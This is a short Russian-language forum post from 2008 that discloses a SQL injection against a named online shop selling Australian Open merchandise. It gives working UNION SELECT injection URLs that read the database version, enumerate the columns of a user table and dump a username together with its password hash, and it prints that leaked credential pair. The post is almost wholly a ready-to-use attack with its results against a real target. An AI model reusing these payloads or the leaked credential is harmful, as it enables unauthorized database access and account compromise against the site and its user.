Показать сообщение отдельно

  #4  
Старый 31.03.2008, 10:13
ENFIX
Участник форума
Регистрация: 06.06.2006
Сообщений: 213
С нами: 10488959

Репутация: 474
По умолчанию

Australian Open Shop

SQL inj:
Код:
http://www.australianopenshop.com/category.php?id=5+and+1=0+UNION+SELECT+1,version(),3,4,5,6,7,8,9,10,11,12/*
5.0.27-community-nt

Есть таблица tbluser, и колонки txtusername, txtpassword
Код:
http://www.australianopenshop.com/category.php?id=5+and+1=0+UNION+SELECT+1,column_name,3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=0x74626c75736572+limit+1,1/*
Получем имя и хэш:
Код:
http://www.australianopenshop.com/category.php?id=5+and+1=0+UNION+SELECT+1,concat_ws(0x3a,txtusername,txtpassword),3,4,5,6,7,8,9,10,11,12+from+tbluser/*
jowang:b997cf0fe04484502df1f089789efaad
 
Ответить с цитированием